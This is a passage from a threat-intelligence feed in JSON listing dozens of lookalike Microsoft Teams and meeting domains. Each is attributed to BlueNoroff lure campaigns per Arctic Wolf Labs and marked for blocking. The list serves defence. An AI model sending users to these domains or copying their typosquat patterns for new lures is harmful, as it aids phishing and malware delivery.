"url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "05live.us.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "live-teams.com.co", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "me-0live.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "me-live.it.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "me-live.online", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "me-live.xyz", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "microso1t.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "ms-live.cc", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "ms-live.co.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "ms-live.online", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "ms-meet.store", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "ms-meeting.co", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "ms-meeting.com.co", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "ms-meeting.live", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "ms-room.online", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "ms-teams.co", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "ms-teams.in", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "protected-view.online", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "teams-live.cam", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "teams-live.com.co", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "teams-live.com.im", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "teams-live.eu.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "teams-live.it.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "teams-live.vip", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "teams-live.work", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "teams-meet.cc", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "teams-meet.cloud", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "teams-meet.co", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "teams-meet.com.co", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "teams-meet.in", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "teams-meeting.co", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "teams-meeting.in", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "teams-meets.cc", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "teams-meets.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "teams-meets.in", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "teams-meets.online", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "teams-meets.us.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "teams-room.us", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "teams02live.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "teams02live.us", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "teams02live.us.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "teams05live.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "teams05live.us.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "teams06live.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": 